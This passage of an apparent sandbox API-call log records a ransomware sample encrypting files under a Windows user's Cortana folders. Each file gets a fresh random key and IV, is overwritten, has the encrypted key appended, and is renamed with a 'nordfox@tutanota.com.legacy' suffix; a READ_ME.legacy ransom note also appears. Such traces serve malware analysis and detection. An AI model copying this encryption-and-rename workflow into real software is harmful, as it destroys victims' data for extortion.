lpMem=0x5e7ef0 | out: hHeap=0x520000) returned 1 [0181.714] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.714] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.714] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema", dwFileAttributes=0x80) returned 1 [0181.714] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609eb0 | out: hHeap=0x520000) returned 1 [0181.714] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0181.715] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=150) returned 1 [0181.715] ReadFile (in: hFile=0x1b04, lpBuffer=0x555868, nNumberOfBytesToRead=0x96, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555868*, lpNumberOfBytesRead=0x2e1f9bc*=0x96, lpOverlapped=0x0) returned 1 [0181.716] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.716] WriteFile (in: hFile=0x1b04, lpBuffer=0x531650*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x531650*, lpNumberOfBytesWritten=0x2e1f9bc*=0x96, lpOverlapped=0x0) returned 1 [0181.716] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555868 | out: hHeap=0x520000) returned 1 [0181.716] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531650 | out: hHeap=0x520000) returned 1 [0181.716] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x96 [0181.716] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.716] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.717] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.717] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.717] CloseHandle (hObject=0x1b04) returned 1 [0181.717] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0181.717] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0181.717] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564d08 | out: hHeap=0x520000) returned 1 [0181.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a2b8 | out: hHeap=0x520000) returned 1 [0181.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a008 | out: hHeap=0x520000) returned 1 [0181.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.719] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg", dwFileAttributes=0x80) returned 1 [0181.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2fbe930 | out: hHeap=0x520000) returned 1 [0181.720] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0181.720] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=280) returned 1 [0181.720] ReadFile (in: hFile=0x1b04, lpBuffer=0x563358, nNumberOfBytesToRead=0x118, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563358*, lpNumberOfBytesRead=0x2e1f9bc*=0x118, lpOverlapped=0x0) returned 1 [0181.721] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.721] WriteFile (in: hFile=0x1b04, lpBuffer=0x563720*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x563720*, lpNumberOfBytesWritten=0x2e1f9bc*=0x118, lpOverlapped=0x0) returned 1 [0181.721] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0181.721] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0181.721] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x118 [0181.721] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.721] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.721] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.722] WriteFile (in: hFile=0x1b04, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.722] CloseHandle (hObject=0x1b04) returned 1 [0181.722] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0181.722] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0181.722] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.725] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564d08 | out: hHeap=0x520000) returned 1 [0181.725] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2fbe558 | out: hHeap=0x520000) returned 1 [0181.725] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2fbe410 | out: hHeap=0x520000) returned 1 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62a80 | out: hHeap=0x520000) returned 1 [0181.726] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525872ee, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x53362df6, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f735b0 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79760 | out: hHeap=0x520000) returned 1 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6e68 | out: hHeap=0x520000) returned 1 [0181.726] GetLastError () returned 0x0 [0181.726] GetLastError () returned 0x0 [0181.726] GetLastError () returned 0x0 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dea0 | out: hHeap=0x520000) returned 1 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73670 | out: hHeap=0x520000) returned 1 [0181.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62990 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0181.727] FindNextFileW (in: hFindFile=0x2f735b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525872ee, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x53362df6, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78c38 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66a40 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d69c8 | out: hHeap=0x520000) returned 1 [0181.727] GetLastError () returned 0x0 [0181.727] GetLastError () returned 0x0 [0181.727] GetLastError () returned 0x0 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dbe0 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73230 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62990 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0181.727] FindNextFileW (in: hFindFile=0x2f735b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c8819a, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x52c8819a, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x52e5203f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x160bf, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.0.filtertrie.intermediate.txt", cAlternateFileName="00FILT~1.TXT")) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0181.727] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78f68 | out: hHeap=0x520000) returned 1 [0181.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67210 | out: hHeap=0x520000) returned 1 [0181.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6d40 | out: hHeap=0x520000) returned 1 [0181.728] GetLastError () returned 0x0 [0181.728] GetLastError () returned 0x0 [0181.728] GetLastError () returned 0x0 [0181.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0181.728] FindNextFileW (in: hFindFile=0x2f735b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52e5203f, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x52e5203f, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x52e5203f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.1.filtertrie.intermediate.txt", cAlternateFileName="01FILT~1.TXT")) returned 1 [0181.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0181.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0181.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78cc0 | out: hHeap=0x520000) returned 1 [0181.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66c98 | out: hHeap=0x520000) returned 1 [0181.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5be8 | out: hHeap=0x520000) returned 1 [0181.728] GetLastError () returned 0x0 [0181.728] GetLastError () returned 0x0 [0181.728] GetLastError () returned 0x0 [0181.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0181.728] FindNextFileW (in: hFindFile=0x2f735b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52e5203f, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x52e5203f, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x52e5203f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.2.filtertrie.intermediate.txt", cAlternateFileName="02FILT~1.TXT")) returned 1 [0181.728] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ff0 | out: hHeap=0x520000) returned 1 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f679e0 | out: hHeap=0x520000) returned 1 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5620 | out: hHeap=0x520000) returned 1 [0181.729] GetLastError () returned 0x0 [0181.729] GetLastError () returned 0x0 [0181.729] GetLastError () returned 0x0 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0181.729] FindNextFileW (in: hFindFile=0x2f735b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a4ab69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8a4ab69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79430 | out: hHeap=0x520000) returned 1 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67148 | out: hHeap=0x520000) returned 1 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6af0 | out: hHeap=0x520000) returned 1 [0181.729] GetLastError () returned 0x0 [0181.729] GetLastError () returned 0x0 [0181.729] GetLastError () returned 0x0 [0181.729] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62bc0 | out: hHeap=0x520000) returned 1 [0181.729] FindNextFileW (in: hFindFile=0x2f735b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53362df6, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x53362df6, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x53362df6, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a35b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings.ft", cAlternateFileName="")) returned 1 [0181.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0181.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0181.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ee0 | out: hHeap=0x520000) returned 1 [0181.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67850 | out: hHeap=0x520000) returned 1 [0181.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5be8 | out: hHeap=0x520000) returned 1 [0181.730] GetLastError () returned 0x0 [0181.730] GetLastError () returned 0x0 [0181.730] GetLastError () returned 0x0 [0181.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62990 | out: hHeap=0x520000) returned 1 [0181.730] FindNextFileW (in: hFindFile=0x2f735b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c8819a, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x52c8819a, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x53362df6, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x821fb, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings.index", cAlternateFileName="SETTIN~1.IND")) returned 1 [0181.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0181.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0181.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ff0 | out: hHeap=0x520000) returned 1 [0181.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67530 | out: hHeap=0x520000) returned 1 [0181.730] FindNextFileW (in: hFindFile=0x2f735b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c8819a, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x52c8819a, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x53362df6, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x821fb, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings.index", cAlternateFileName="SETTIN~1.IND")) returned 0 [0181.730] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.730] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.730] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.index", dwFileAttributes=0x80) returned 1 [0181.731] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b08 [0181.731] GetFileSizeEx (in: hFile=0x1b08, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=532987) returned 1 [0181.733] ReadFile (in: hFile=0x1b08, lpBuffer=0x6f6020, nNumberOfBytesToRead=0x821fb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f6020*, lpNumberOfBytesRead=0x2e1f9bc*=0x821fb, lpOverlapped=0x0) returned 1 [0181.763] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=-532987, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.763] WriteFile (in: hFile=0x1b08, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x821fb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x821fb, lpOverlapped=0x0) returned 1 [0181.769] SetFilePointer (in: hFile=0x1b08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x821fb [0181.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.769] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.769] WriteFile (in: hFile=0x1b08, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.769] CloseHandle (hObject=0x1b08) returned 1 [0181.770] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.index"), 